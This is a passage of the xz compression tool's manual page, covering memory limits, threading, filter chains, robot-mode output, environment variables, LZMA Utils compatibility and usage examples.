If the compression settings exceed the limit, xz will attempt to adjust the settings downwards so that the limit is no longer exceeded and display a notice that automatic adjustment was done. The adjustments are done in this order: reducing the number of threads, switching to single-threaded mode if even one thread in multi-threaded mode exceeds the limit, and finally reducing the LZMA2 dictionary size.

When compressing with –format=raw or if –no-adjust has been specified, only the number of threads may be reduced since it can be done without affecting the compressed output.

If the limit cannot be met even with the adjustments described above, an error is displayed and xz will exit with exit status 1.

The limit can be specified in multiple ways:

  • The limit can be an absolute value in bytes. Using an integer suffix like MiB can be useful. Example: –memlimit-compress=80MiB

  • The limit can be specified as a percentage of total physical memory (RAM). This can be useful especially when setting the XZ_DEFAULTS environment variable in a shell initialization script that is shared between different computers. That way the limit is automatically bigger on systems with more memory. Example: –memlimit-compress=70%

  • The limit can be reset back to its default value by setting it to 0. This is currently equivalent to setting the limit to max (no memory usage limit).

For 32-bit xz there is a special case: if the limit would be over 4020 MiB, the limit is set to 4020 MiB. On MIPS32 2000 MiB is used instead. (The values 0 and max aren’t affected by this. A similar feature doesn’t exist for decompression.) This can be helpful when a 32-bit executable has access to 4 GiB address space (2 GiB on MIPS32) while hopefully doing no harm in other situations.

See also the section Memory usage.

**–memlimit-decompress=**limit
Set a memory usage limit for decompression. This also affects the –list mode. If the operation is not possible without exceeding the limit, xz will display an error and decompressing the file will fail. See **–memlimit-compress=**limit for possible ways to specify the limit.

**–memlimit-mt-decompress=**limit
Set a memory usage limit for multi-threaded decompression. This can only affect the number of threads; this will never make xz refuse to decompress a file. If limit is too low to allow any multi-threading, the limit is ignored and xz will continue in single-threaded mode. Note that if also –memlimit-decompress is used, it will always apply to both single-threaded and multi-threaded modes, and so the effective limit for multi-threading will never be higher than the limit set with –memlimit-decompress.

In contrast to the other memory usage limit options, **–memlimit-mt-decompress=**limit has a system-specific default limit. xz –info-memory can be used to see the current value.

This option and its default value exist because without any limit the threaded decompressor could end up allocating an insane amount of memory with some input files. If the default limit is too low on your system, feel free to increase the limit but never set it to a value larger than the amount of usable RAM as with appropriate input files xz will attempt to use that amount of memory even with a low number of threads. Running out of memory or swapping will not improve decompression performance.

See **–memlimit-compress=**limit for possible ways to specify the limit. Setting limit to 0 resets the limit to the default system-specific value.

-M limit, **–memlimit=**limit, **–memory=**limit
This is equivalent to specifying **–memlimit-compress=**limit **–memlimit-decompress=**limit **–memlimit-mt-decompress=**limit.

–no-adjust
Display an error and exit if the memory usage limit cannot be met without adjusting settings that affect the compressed output. That is, this prevents xz from switching the encoder from multi-threaded mode to single-threaded mode and from reducing the LZMA2 dictionary size. Even when this option is used the number of threads may be reduced to meet the memory usage limit as that won’t affect the compressed output.

Automatic adjusting is always disabled when creating raw streams (–format=raw).

-T threads, **–threads=**threads
Specify the number of worker threads to use. Setting threads to a special value 0 makes xz use up to as many threads as the processor(s) on the system support. The actual number of threads can be fewer than threads if the input file is not big enough for threading with the given settings or if using more threads would exceed the memory usage limit.

The single-threaded and multi-threaded compressors produce different output. Single-threaded compressor will give the smallest file size but only the output from the multi-threaded compressor can be decompressed using multiple threads. Setting threads to 1 will use the single-threaded mode. Setting threads to any other value, including 0, will use the multi-threaded compressor even if the system supports only one hardware thread. (xz 5.2.x used single-threaded mode in this situation.)

To use multi-threaded mode with only one thread, set threads to +1. The + prefix has no effect with values other than 1. A memory usage limit can still make xz switch to single-threaded mode unless –no-adjust is used. Support for the + prefix was added in xz 5.4.0.

If an automatic number of threads has been requested and no memory usage limit has been specified, then a system-specific default soft limit will be used to possibly limit the number of threads. It is a soft limit in sense that it is ignored if the number of threads becomes one, thus a soft limit will never stop xz from compressing or decompressing. This default soft limit will not make xz switch from multi-threaded mode to single-threaded mode. The active limits can be seen with xz –info-memory.

Currently the only threading method is to split the input into blocks and compress them independently from each other. The default block size depends on the compression level and can be overridden with the **–block-size=**size option.

Threaded decompression only works on files that contain multiple blocks with size information in block headers. All large enough files compressed in multi-threaded mode meet this condition, but files compressed in single-threaded mode don’t even if **–block-size=**size has been used.

The default value for threads is 0. In xz 5.4.x and older the default is 1.

Custom compressor filter chains

A custom filter chain allows specifying the compression settings in detail instead of relying on the settings associated to the presets. When a custom filter chain is specified, preset options (-0-9 and –extreme) earlier on the command line are forgotten. If a preset option is specified after one or more custom filter chain options, the new preset takes effect and the custom filter chain options specified earlier are forgotten.

A filter chain is comparable to piping on the command line. When compressing, the uncompressed input goes to the first filter, whose output goes to the next filter (if any). The output of the last filter gets written to the compressed file. The maximum number of filters in the chain is four, but typically a filter chain has only one or two filters.

Many filters have limitations on where they can be in the filter chain: some filters can work only as the last filter in the chain, some only as a non-last filter, and some work in any position in the chain. Depending on the filter, this limitation is either inherent to the filter design or exists to prevent security issues.

A custom filter chain can be specified in two different ways. The options **–filters=**filters and **–filters1=filters–filters9=filters allow specifying an entire filter chain in one option using the liblzma filter string syntax. Alternatively, a filter chain can be specified by using one or more individual filter options in the order they are wanted in the filter chain. That is, the order of the individual filter options is significant! When decoding raw streams (–format=raw), the filter chain must be specified in the same order as it was specified when compressing. Any individual filter or preset options specified before the full chain option (–filters=**filters) will be forgotten. Individual filters specified after the full chain option will reset the filter chain.

Both the full and individual filter options take filter-specific options as a comma-separated list. Extra commas in options are ignored. Every option has a default value, so specify those you want to change.

To see the whole filter chain and options, use xz -vv (that is, use –verbose twice). This works also for viewing the filter chain options used by presets.

–filters=filters
Specify the full filter chain or a preset in a single option. Each filter can be separated by spaces or two dashes (
). filters may need to be quoted on the shell command line so it is parsed as a single option. To denote options, use : or =. A preset can be prefixed with a - and followed with zero or more flags. The only supported flag is e to apply the same options as –extreme.

–filters1=filters–filters9=filters
Specify up to nine additional filter chains that can be used with –block-list.

For example, when compressing an archive with executable files followed by text files, the executable part could use a filter chain with a BCJ filter and the text part only the LZMA2 filter.

–filters-help
Display a help message describing how to specify presets and custom filter chains in the –filters and **–filters1=**filters … **–filters9=**filters options, and exit successfully.

–lzma1[**=**options]

–lzma2[**=**options]

Add LZMA1 or LZMA2 filter to the filter chain. These filters can be used only as the last filter in the chain.

LZMA1 is a legacy filter, which is supported almost solely due to the legacy .lzma file format, which supports only LZMA1. LZMA2 is an updated version of LZMA1 to fix some practical issues of LZMA1. The .xz format uses LZMA2 and doesn’t support LZMA1 at all. Compression speed and ratios of LZMA1 and LZMA2 are practically the same.

LZMA1 and LZMA2 share the same set of options:

**preset=**preset
Reset all LZMA1 or LZMA2 options to preset. Preset consist of an integer, which may be followed by single-letter preset modifiers. The integer can be from 0 to 9, matching the command line options -0-9. The only supported modifier is currently e, which matches –extreme. If no preset is specified, the default values of LZMA1 or LZMA2 options are taken from the preset 6.

**dict=**size
Dictionary (history buffer) size indicates how many bytes of the recently processed uncompressed data is kept in memory. The algorithm tries to find repeating byte sequences (matches) in the uncompressed data, and replace them with references to the data currently in the dictionary. The bigger the dictionary, the higher is the chance to find a match. Thus, increasing dictionary size usually improves compression ratio, but a dictionary bigger than the uncompressed file is waste of memory.

Typical dictionary size is from 64 KiB to 64 MiB. The minimum is 4 KiB. The maximum for compression is currently 1.5 GiB (1536 MiB). The decompressor already supports dictionaries up to one byte less than 4 GiB, which is the maximum for the LZMA1 and LZMA2 stream formats.

Dictionary size and match finder (mf) together determine the memory usage of the LZMA1 or LZMA2 encoder. The same (or bigger) dictionary size is required for decompressing that was used when compressing, thus the memory usage of the decoder is determined by the dictionary size used when compressing. The .xz headers store the dictionary size either as 2^n or 2^n + 2^(n-1), so these sizes are somewhat preferred for compression. Other sizes will get rounded up when stored in the .xz headers.

**lc=**lc
Specify the number of literal context bits. The minimum is 0 and the maximum is 4; the default is 3. In addition, the sum of lc and lp must not exceed 4.

All bytes that cannot be encoded as matches are encoded as literals. That is, literals are simply 8-bit bytes that are encoded one at a time.

The literal coding makes an assumption that the highest lc bits of the previous uncompressed byte correlate with the next byte. For example, in typical English text, an upper-case letter is often followed by a lower-case letter, and a lower-case letter is usually followed by another lower-case letter. In the US-ASCII character set, the highest three bits are 010 for upper-case letters and 011 for lower-case letters. When lc is at least 3, the literal coding can take advantage of this property in the uncompressed data.

The default value (3) is usually good. If you want maximum compression, test lc=4. Sometimes it helps a little, and sometimes it makes compression worse. If it makes it worse, test lc=2 too.

**lp=**lp
Specify the number of literal position bits. The minimum is 0 and the maximum is 4; the default is 0.

Lp affects what kind of alignment in the uncompressed data is assumed when encoding literals. See pb below for more information about alignment.

**pb=**pb
Specify the number of position bits. The minimum is 0 and the maximum is 4; the default is 2.

Pb affects what kind of alignment in the uncompressed data is assumed in general. The default means four-byte alignment (2^pb=2^2=4), which is often a good choice when there’s no better guess.

When the alignment is known, setting pb accordingly may reduce the file size a little. For example, with text files having one-byte alignment (US-ASCII, ISO-8859-*, UTF-8), setting pb=0 can improve compression slightly. For UTF-16 text, pb=1 is a good choice. If the alignment is an odd number like 3 bytes, pb=0 might be the best choice.

Even though the assumed alignment can be adjusted with pb and lp, LZMA1 and LZMA2 still slightly favor 16-byte alignment. It might be worth taking into account when designing file formats that are likely to be often compressed with LZMA1 or LZMA2.

**mf=**mf
Match finder has a major effect on encoder speed, memory usage, and compression ratio. Usually Hash Chain match finders are faster than Binary Tree match finders. The default depends on the preset: 0 uses hc3, 1–3 use hc4, and the rest use bt4.

The following match finders are supported. The memory usage formulas below are rough approximations, which are closest to the reality when dict is a power of two.

hc3
Hash Chain with 2- and 3-byte hashing
Minimum value for nice: 3
Memory usage:
dict * 7.5 (if dict <= 16 MiB);
dict * 5.5 + 64 MiB (if dict > 16 MiB)

hc4
Hash Chain with 2-, 3-, and 4-byte hashing
Minimum value for nice: 4
Memory usage:
dict * 7.5 (if dict <= 32 MiB);
dict * 6.5 (if dict > 32 MiB)

bt2
Binary Tree with 2-byte hashing
Minimum value for nice: 2
Memory usage: dict * 9.5

bt3
Binary Tree with 2- and 3-byte hashing
Minimum value for nice: 3
Memory usage:
dict * 11.5 (if dict <= 16 MiB);
dict * 9.5 + 64 MiB (if dict > 16 MiB)

bt4
Binary Tree with 2-, 3-, and 4-byte hashing
Minimum value for nice: 4
Memory usage:
dict * 11.5 (if dict <= 32 MiB);
dict * 10.5 (if dict > 32 MiB)

**mode=**mode
Compression mode specifies the method to analyze the data produced by the match finder. Supported modes are fast and normal. The default is fast for presets 0–3 and normal for presets 4–9.

Usually fast is used with Hash Chain match finders and normal with Binary Tree match finders. This is also what the presets do.

**nice=**nice
Specify what is considered to be a nice length for a match. Once a match of at least nice bytes is found, the algorithm stops looking for possibly better matches.

Nice can be 2–273 bytes. Higher values tend to give better compression ratio at the expense of speed. The default depends on the preset.

**depth=**depth
Specify the maximum search depth in the match finder. The default is the special value of 0, which makes the compressor determine a reasonable depth from mf and nice.

Reasonable depth for Hash Chains is 4–100 and 16–1000 for Binary Trees. Using very high values for depth can make the encoder extremely slow with some files. Avoid setting the depth over 1000 unless you are prepared to interrupt the compression in case it is taking far too long.

When decoding raw streams (–format=raw), LZMA2 needs only the dictionary size. LZMA1 needs also lc, lp, and pb.

–x86[**=**options]

–arm[**=options]
–armthumb[
=options]
–arm64[
=options]
–powerpc[
=options]
–ia64[
=options]
–sparc[
=options]
–riscv[
=**options]

Add a branch/call/jump (BCJ) filter to the filter chain. These filters can be used only as a non-last filter in the filter chain.

A BCJ filter converts relative addresses in the machine code to their absolute counterparts. This doesn’t change the size of the data but it increases redundancy, which can help LZMA2 to produce 0–15 % smaller .xz file. The BCJ filters are always reversible, so using a BCJ filter for wrong type of data doesn’t cause any data loss, although it may make the compression ratio slightly worse. The BCJ filters are very fast and use an insignificant amount of memory.

These BCJ filters have known problems related to the compression ratio:

  • Some types of files containing executable code (for example, object files, static libraries, and Linux kernel modules) have the addresses in the instructions filled with filler values. These BCJ filters will still do the address conversion, which will make the compression worse with these files.

  • If a BCJ filter is applied on an archive, it is possible that it makes the compression ratio worse than not using a BCJ filter. For example, if there are similar or even identical executables then filtering will likely make the files less similar and thus compression is worse. The contents of non-executable files in the same archive can matter too. In practice one has to try with and without a BCJ filter to see which is better in each situation.

Different instruction sets have different alignment: the executable file must be aligned to a multiple of this value in the input data to make the filter work.

FilterAlignmentNotes
x86132-bit or 64-bit x86
ARM4
ARM-Thumb2
ARM6444096-byte alignment is best
PowerPC4Big endian only
IA-6416Itanium
SPARC4
RISC-V2

Since the BCJ-filtered data is usually compressed with LZMA2, the compression ratio may be improved slightly if the LZMA2 options are set to match the alignment of the selected BCJ filter. Examples:

  • IA-64 filter has 16-byte alignment so pb=4,lp=4,lc=0 is good with LZMA2 (2^4=16).

  • RISC-V code has 2-byte or 4-byte alignment depending on whether the file contains 16-bit compressed instructions (the C extension). When 16-bit instructions are used, pb=2,lp=1,lc=3 or pb=1,lp=1,lc=3 is good. When 16-bit instructions aren’t present, pb=2,lp=2,lc=2 is the best. readelf -h can be used to check if “RVC” appears on the “Flags” line.

  • ARM64 is always 4-byte aligned so pb=2,lp=2,lc=2 is the best.

  • The x86 filter is an exception. It’s usually good to stick to LZMA2’s defaults (pb=2,lp=0,lc=3) when compressing x86 executables.

All BCJ filters support the same options:

**start=**offset
Specify the start offset that is used when converting between relative and absolute addresses. The offset must be a multiple of the alignment of the filter (see the table above). The default is zero. In practice, the default is good; specifying a custom offset is almost never useful.

–delta[**=**options]
Add the Delta filter to the filter chain. The Delta filter can be only used as a non-last filter in the filter chain.

Currently only simple byte-wise delta calculation is supported. It can be useful when compressing, for example, uncompressed bitmap images or uncompressed PCM audio. However, special purpose algorithms may give significantly better results than Delta + LZMA2. This is true especially with audio, which compresses faster and better, for example, with flac(1).

Supported options:

**dist=**distance
Specify the distance of the delta calculation in bytes. distance must be 1–256. The default is 1.

For example, with dist=2 and eight-byte input A1 B1 A2 B3 A3 B5 A4 B7, the output will be A1 B1 01 02 01 02 01 02.

Other options

-q, –quiet
Suppress warnings and notices. Specify this twice to suppress errors too. This option has no effect on the exit status. That is, even if a warning was suppressed, the exit status to indicate a warning is still used.

-v, –verbose
Be verbose. If standard error is connected to a terminal, xz will display a progress indicator. Specifying –verbose twice will give even more verbose output.

The progress indicator shows the following information:

  • Completion percentage is shown if the size of the input file is known. That is, the percentage cannot be shown in pipes.

  • Amount of compressed data produced (compressing) or consumed (decompressing).

  • Amount of uncompressed data consumed (compressing) or produced (decompressing).

  • Compression ratio, which is calculated by dividing the amount of compressed data processed so far by the amount of uncompressed data processed so far.

  • Compression or decompression speed. This is measured as the amount of uncompressed data consumed (compression) or produced (decompression) per second. It is shown after a few seconds have passed since xz started processing the file.

  • Elapsed time in the format M:SS or H:MM:SS.

  • Estimated remaining time is shown only when the size of the input file is known and a couple of seconds have already passed since xz started processing the file. The time is shown in a less precise format which never has any colons, for example, 2 min 30 s.

When standard error is not a terminal, –verbose will make xz print the filename, compressed size, uncompressed size, compression ratio, and possibly also the speed and elapsed time on a single line to standard error after compressing or decompressing the file. The speed and elapsed time are included only when the operation took at least a few seconds. If the operation didn’t finish, for example, due to user interruption, also the completion percentage is printed if the size of the input file is known.

-Q, –no-warn
Don’t set the exit status to 2 even if a condition worth a warning was detected. This option doesn’t affect the verbosity level, thus both –quiet and –no-warn have to be used to not display warnings and to not alter the exit status.

–robot
Print messages in a machine-parsable format. This is intended to ease writing frontends that want to use xz instead of liblzma, which may be the case with various scripts. The output with this option enabled is meant to be stable across xz releases. See the section ROBOT MODE for details.

–info-memory
Display, in human-readable format, how much physical memory (RAM) and how many processor threads xz thinks the system has and the memory usage limits for compression and decompression, and exit successfully.

-h, –help
Display a help message describing the most commonly used options, and exit successfully.

-H, –long-help
Display a help message describing all features of xz, and exit successfully

-V, –version
Display the version number of xz and liblzma in human readable format. To get machine-parsable output, specify –robot before –version.

ROBOT MODE

The robot mode is activated with the –robot option. It makes the output of xz easier to parse by other programs. Currently –robot is supported only together with –list, –filters-help, –info-memory, and –version. It will be supported for compression and decompression in the future.

List mode

xz –robot –list uses tab-separated output. The first column of every line has a string that indicates the type of the information found on that line:

name
This is always the first line when starting to list a file. The second column on the line is the filename.

file
This line contains overall information about the .xz file. This line is always printed after the name line.

stream
This line type is used only when –verbose was specified. There are as many stream lines as there are streams in the .xz file.

block
This line type is used only when –verbose was specified. There are as many block lines as there are blocks in the .xz file. The block lines are shown after all the stream lines; different line types are not interleaved.

summary
This line type is used only when –verbose was specified twice. This line is printed after all block lines. Like the file line, the summary line contains overall information about the .xz file.

totals
This line is always the very last line of the list output. It shows the total counts and sizes.

The columns of the file lines:

  1. Number of streams in the file

  2. Total number of blocks in the stream(s)

  3. Compressed size of the file

  4. Uncompressed size of the file

  5. Compression ratio, for example, 0.123. If ratio is over 9.999, three dashes () are displayed instead of the ratio.

  6. Comma-separated list of integrity check names. The following strings are used for the known check types: None, CRC32, CRC64, and SHA-256. For unknown check types, **Unknown-**N is used, where N is the Check ID as a decimal number (one or two digits).

  7. Total size of stream padding in the file

The columns of the stream lines:

  1. Stream number (the first stream is 1)

  2. Number of blocks in the stream

  3. Compressed start offset

  4. Uncompressed start offset

  5. Compressed size (does not include stream padding)

  6. Uncompressed size

  7. Compression ratio

  8. Name of the integrity check

  9. Size of stream padding

The columns of the block lines:

  1. Number of the stream containing this block

  2. Block number relative to the beginning of the stream (the first block is 1)

  3. Block number relative to the beginning of the file

  4. Compressed start offset relative to the beginning of the file

  5. Uncompressed start offset relative to the beginning of the file

  6. Total compressed size of the block (includes headers)

  7. Uncompressed size

  8. Compression ratio

  9. Name of the integrity check

If –verbose was specified twice, additional columns are included on the block lines. These are not displayed with a single –verbose, because getting this information requires many seeks and can thus be slow:

  1. Value of the integrity check in hexadecimal

  2. Block header size

  3. Block flags: c indicates that compressed size is present, and u indicates that uncompressed size is present. If the flag is not set, a dash (-) is shown instead to keep the string length fixed. New flags may be added to the end of the string in the future.

  4. Size of the actual compressed data in the block (this excludes the block header, block padding, and check fields)

  5. Amount of memory (in bytes) required to decompress this block with this xz version

  6. Filter chain. Note that most of the options used at compression time cannot be known, because only the options that are needed for decompression are stored in the .xz headers.

The columns of the summary lines:

  1. Amount of memory (in bytes) required to decompress this file with this xz version

  2. yes or no indicating if all block headers have both compressed size and uncompressed size stored in them

Since xz 5.1.2alpha:

  1. Minimum xz version required to decompress the file

The columns of the totals line:

  1. Number of streams

  2. Number of blocks

  3. Compressed size

  4. Uncompressed size

  5. Average compression ratio

  6. Comma-separated list of integrity check names that were present in the files

  7. Stream padding size

  8. Number of files. This is here to keep the order of the earlier columns the same as on file lines.

If –verbose was specified twice, additional columns are included on the totals line:

  1. Maximum amount of memory (in bytes) required to decompress the files with this xz version

  2. yes or no indicating if all block headers have both compressed size and uncompressed size stored in them

Since xz 5.1.2alpha:

  1. Minimum xz version required to decompress the file

Future versions may add new line types and new columns can be added to the existing line types, but the existing columns won’t be changed.

Filters help

xz –robot –filters-help prints the supported filters in the following format:

filter**:option=<value>,option=<value>**…

filter
Name of the filter

option
Name of a filter specific option

value
Numeric value ranges appear as <min-max>. String value choices are shown within < > and separated by a | character.

Each filter is printed on its own line.

Memory limit information

xz –robot –info-memory prints a single line with multiple tab-separated columns:

  1. Total amount of physical memory (RAM) in bytes.

  2. Memory usage limit for compression in bytes (–memlimit-compress). A special value of 0 indicates the default setting which for single-threaded mode is the same as no limit.

  3. Memory usage limit for decompression in bytes (–memlimit-decompress). A special value of 0 indicates the default setting which for single-threaded mode is the same as no limit.

  4. Since xz 5.3.4alpha: Memory usage for multi-threaded decompression in bytes (–memlimit-mt-decompress). This is never zero because a system-specific default value shown in the column 5 is used if no limit has been specified explicitly. This is also never greater than the value in the column 3 even if a larger value has been specified with –memlimit-mt-decompress.

  5. Since xz 5.3.4alpha: A system-specific default memory usage limit that is used to limit the number of threads when compressing with an automatic number of threads (–threads=0) and no memory usage limit has been specified (–memlimit-compress). This is also used as the default value for –memlimit-mt-decompress.

  6. Since xz 5.3.4alpha: Number of available processor threads.

In the future, the output of xz –robot –info-memory may have more columns, but never more than a single line.

Version

xz –robot –version prints the version number of xz and liblzma in the following format:

**XZ_VERSION=**XYYYZZZS
**LIBLZMA_VERSION=**XYYYZZZS

X
Major version.

YYY
Minor version. Even numbers are stable. Odd numbers are alpha or beta versions.

ZZZ
Patch level for stable releases or just a counter for development releases.

S
Stability. 0 is alpha, 1 is beta, and 2 is stable. S should be always 2 when YYY is even.

XYYYZZZS are the same on both lines if xz and liblzma are from the same XZ Utils release.

Examples: 4.999.9beta is 49990091 and 5.0.0 is 50000002.

EXIT STATUS

0
All is good.

1
An error occurred.

2
Something worth a warning occurred, but no actual errors occurred.

Notices (not warnings or errors) printed on standard error don’t affect the exit status.

ENVIRONMENT

xz parses space-separated lists of options from the environment variables XZ_DEFAULTS and XZ_OPT, in this order, before parsing the options from the command line. Note that only options are parsed from the environment variables; all non-options are silently ignored. Parsing is done with getopt_long(3) which is used also for the command line arguments.

XZ_DEFAULTS
User-specific or system-wide default options. Typically this is set in a shell initialization script to enable xz’s memory usage limiter by default. Excluding shell initialization scripts and similar special cases, scripts must never set or unset XZ_DEFAULTS.

XZ_OPT
This is for passing options to xz when it is not possible to set the options directly on the xz command line. This is the case when xz is run by a script or tool, for example, GNU tar(1):

XZ_OPT=-2v tar caf foo.tar.xz foo

Scripts may use XZ_OPT, for example, to set script-specific default compression options. It is still recommended to allow users to override XZ_OPT if that is reasonable. For example, in sh(1) scripts one may use something like this:

XZ_OPT=${XZ_OPT-"-7e"} export XZ_OPT

LZMA UTILS COMPATIBILITY

The command line syntax of xz is practically a superset of lzma, unlzma, and lzcat as found from LZMA Utils 4.32.x. In most cases, it is possible to replace LZMA Utils with XZ Utils without breaking existing scripts. There are some incompatibilities though, which may sometimes cause problems.

Compression preset levels

The numbering of the compression level presets is not identical in xz and LZMA Utils. The most important difference is how dictionary sizes are mapped to different presets. Dictionary size is roughly equal to the decompressor memory usage.

LevelxzLZMA Utils
-0256 KiBN/A
-11 MiB64 KiB
-22 MiB1 MiB
-34 MiB512 KiB
-44 MiB1 MiB
-58 MiB2 MiB
-68 MiB4 MiB
-716 MiB8 MiB
-832 MiB16 MiB
-964 MiB32 MiB

The dictionary size differences affect the compressor memory usage too, but there are some other differences between LZMA Utils and XZ Utils, which make the difference even bigger:

LevelxzLZMA Utils 4.32.x
-03 MiBN/A
-19 MiB2 MiB
-217 MiB12 MiB
-332 MiB12 MiB
-448 MiB16 MiB
-594 MiB26 MiB
-694 MiB45 MiB
-7186 MiB83 MiB
-8370 MiB159 MiB
-9674 MiB311 MiB

The default preset level in LZMA Utils is -7 while in XZ Utils it is -6, so both use an 8 MiB dictionary by default.

Streamed vs. non-streamed .lzma files

The uncompressed size of the file can be stored in the .lzma header. LZMA Utils does that when compressing regular files. The alternative is to mark that uncompressed size is unknown and use end-of-payload marker to indicate where the decompressor should stop. LZMA Utils uses this method when uncompressed size isn’t known, which is the case, for example, in pipes.

xz supports decompressing .lzma files with or without end-of-payload marker, but all .lzma files created by xz will use end-of-payload marker and have uncompressed size marked as unknown in the .lzma header. This may be a problem in some uncommon situations. For example, a .lzma decompressor in an embedded device might work only with files that have known uncompressed size. If you hit this problem, you need to use LZMA Utils or LZMA SDK to create .lzma files with known uncompressed size.

Unsupported .lzma files

The .lzma format allows lc values up to 8, and lp values up to 4. LZMA Utils can decompress files with any lc and lp, but always creates files with lc=3 and lp=0. Creating files with other lc and lp is possible with xz and with LZMA SDK.

The implementation of the LZMA1 filter in liblzma requires that the sum of lc and lp must not exceed 4. Thus, .lzma files, which exceed this limitation, cannot be decompressed with xz.

LZMA Utils creates only .lzma files which have a dictionary size of 2^n (a power of 2) but accepts files with any dictionary size. liblzma accepts only .lzma files which have a dictionary size of 2^n or 2^n + 2^(n-1). This is to decrease false positives when detecting .lzma files.

These limitations shouldn’t be a problem in practice, since practically all .lzma files have been compressed with settings that liblzma will accept.

Trailing garbage

When decompressing, LZMA Utils silently ignore everything after the first .lzma stream. In most situations, this is a bug. This also means that LZMA Utils don’t support decompressing concatenated .lzma files.

If there is data left after the first .lzma stream, xz considers the file to be corrupt unless –single-stream was used. This may break obscure scripts which have assumed that trailing garbage is ignored.

NOTES

Compressed output may vary

The exact compressed output produced from the same uncompressed input file may vary between XZ Utils versions even if compression options are identical. This is because the encoder can be improved (faster or better compression) without affecting the file format. The output can vary even between different builds of the same XZ Utils version, if different build options are used.

The above means that once –rsyncable has been implemented, the resulting files won’t necessarily be rsyncable unless both old and new files have been compressed with the same xz version. This problem can be fixed if a part of the encoder implementation is frozen to keep rsyncable output stable across xz versions.

Embedded .xz decompressors

Embedded .xz decompressor implementations like XZ Embedded don’t necessarily support files created with integrity check types other than none and crc32. Since the default is –check=crc64, you must use –check=none or –check=crc32 when creating files for embedded systems.

Outside embedded systems, all .xz format decompressors support all the check types, or at least are able to decompress the file without verifying the integrity check if the particular check is not supported.

XZ Embedded supports BCJ filters, but only with the default start offset.

EXAMPLES

Basics

Compress the file foo into foo.xz using the default compression level (-6), and remove foo if compression is successful:

xz foo

Decompress bar.xz into bar and don’t remove bar.xz even if decompression is successful:

xz -dk bar.xz

Create baz.tar.xz with the preset -4e (-4 –extreme), which is slower than the default -6, but needs less memory for compression and decompression (48 MiB and 5 MiB, respectively):

tar cf - baz | xz -4e > baz.tar.xz

A mix of compressed and uncompressed files can be decompressed to standard output with a single command:

xz -dcf a.txt b.txt.xz c.txt d.txt.lzma > abcd.txt

Parallel compression of many files

On GNU and *BSD, find(1) and xargs(1) can be used to parallelize compression of many files:

find . -type f ! -name ‘*.xz’ -print0
| xargs -0r -P4 -n16 xz -T1

The -P option to xargs(1) sets the number of parallel xz processes. The best value for the -n option depends on how many files there are to be compressed. If there are only a couple of files, the value should probably be 1; with tens of thousands of files, 100 or even more may be appropriate to reduce the number of xz processes that xargs(1) will eventually create.

The option -T1 for xz is there to force it to single-threaded mode, because xargs(1) is used to control the amount of parallelization.

Robot mode

Calculate how many bytes have been saved in total after compressing multiple files:

xz –robot –list *.xz | awk ‘/^totals/{print $5-$4}’

A script may want to know that it is using new enough xz. The following sh(1) script checks that the version number of the xz tool is at least 5.0.0. This method is compatible with old beta versions, which didn’t support the –robot option:

if ! eval “$(xz –robot –version 2> /dev/null)” || [ “$XZ_VERSION” -lt 50000002 ]; then echo “Your xz is too old.” fi unset XZ_VERSION LIBLZMA_VERSION

Set a memory usage limit for decompression using XZ_OPT, but if a limit has already been set, don’t increase it:

NEWLIM=$((123 « 20)) # 123 MiB OLDLIM=$(xz –robot –info-memory | cut -f3) if [ $OLDLIM -eq 0 -o $OLDLIM -gt $NEWLIM ]; then XZ_OPT="$XZ_OPT –memlimit-decompress=$NEWLIM" export XZ_OPT fi

Custom compressor filter chains

The simplest use for custom filter chains is customizing a LZMA2 preset. This can be useful, because the presets cover only a subset of the potentially useful combinations of compression settings.

The CompCPU columns of the tables from the descriptions of the options -0-9 and –extreme are useful when customizing LZMA2 presets. Here are the relevant parts collected from those two tables:

PresetCompCPU
-00
-11
-22
-33
-44
-55
-66
-5e7
-6e8

If you know that a file requires somewhat big dictionary (for example, 32 MiB) to compress well, but you want to compress it quicker than xz -8 would do, a preset with a low CompCPU value (for example, 1) can be modified to use a bigger dictionary:

xz –lzma2=preset=1,dict=32MiB foo.tar

With certain files, the above command may be faster than xz -6 while compressing significantly better. However, it must be emphasized that only some files benefit from a big dictionary while keeping the CompCPU value low. The most obvious situation, where a big dictionary can help a lot, is an archive containing very similar files of at least a few megabytes each. The dictionary size has to be significantly bigger than any individual file to allow LZMA2 to take full advantage of the similarities between consecutive files.

If very high compressor and decompressor memory usage is fine, and the file being compressed is at least several hundred megabytes, it may be useful to use an even bigger dictionary than the 64 MiB that xz -9 would use:

xz -vv –lzma2=dict=192MiB big_foo.tar

Using -vv (–verbose –verbose) like in the above example can be useful to see the memory requirements of the compressor and decompressor. Remember that using a dictionary bigger than the size of the uncompressed file is waste of memory, so the above command isn’t useful for small files.

Sometimes the compression time doesn’t matter, but the decompressor memory usage has to be kept low, for example, to make it possible to decompress the file on an embedded system. The following command uses -6e (-6 –extreme) as a base and sets the dictionary to only 64 KiB. The resulting file can be decompressed with XZ Embedded (that’s why there is –check=crc32) using about 100 KiB of memory.

xz –check=crc32 –lzma2=preset=6e,dict=64KiB foo

If you want to squeeze out as many bytes as possible, adjusting the number of literal context bits (lc) and number of position bits (pb) can sometimes help. Adjusting the number of literal position bits (lp) might help too, but usually lc and pb are more important. For example, a source code archive contains mostly US-ASCII text, so something like the following might give slightly (like 0.1 %) smaller file than xz -6e (try also without lc=4):

xz –lzma2=preset=6e,pb=0,lc=4 source_code.tar

Using another filter together with LZMA2 can improve compression with certain file types. For example, to compress a x86-32 or x86-64 shared library using the x86 BCJ filter:

xz –x86 –lzma2 libfoo.so

Note that the order of the filter options is significant. If –x86 is specified after –lzma2, xz will give an error, because there cannot be any filter after LZMA2, and also because the x86 BCJ filter cannot be used as the last filter in the chain.

The Delta filter together with LZMA2 can give good results with bitmap images. It should usually beat PNG, which has a few more advanced filters than simple delta but uses Deflate for the actual compression.

The image has to be saved in uncompressed format, for example, as uncompressed TIFF. The distance parameter of the Delta filter is set to match the number of bytes per pixel in the image. For example, 24-bit RGB bitmap needs dist=3, and it is also good to pass pb=0 to LZMA2 to accommodate the three-byte alignment:

xz –delta=dist=3 –lzma2=pb=0 foo.tiff

If multiple images have been put into a single archive (for example, .tar), the Delta filter will work on that too as long as all images have the same number of bytes per pixel.

SEE ALSO

xzdec(1), xzdiff(1), xzgrep(1), xzless(1), xzmore(1), gzip(1), bzip2(1), 7z(1)

XZ Utils: <https://tukaani.org/xz/>
XZ Embedded: <https://tukaani.org/xz/embedded.html>
LZMA SDK: <https://7-zip.org/sdk.html>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

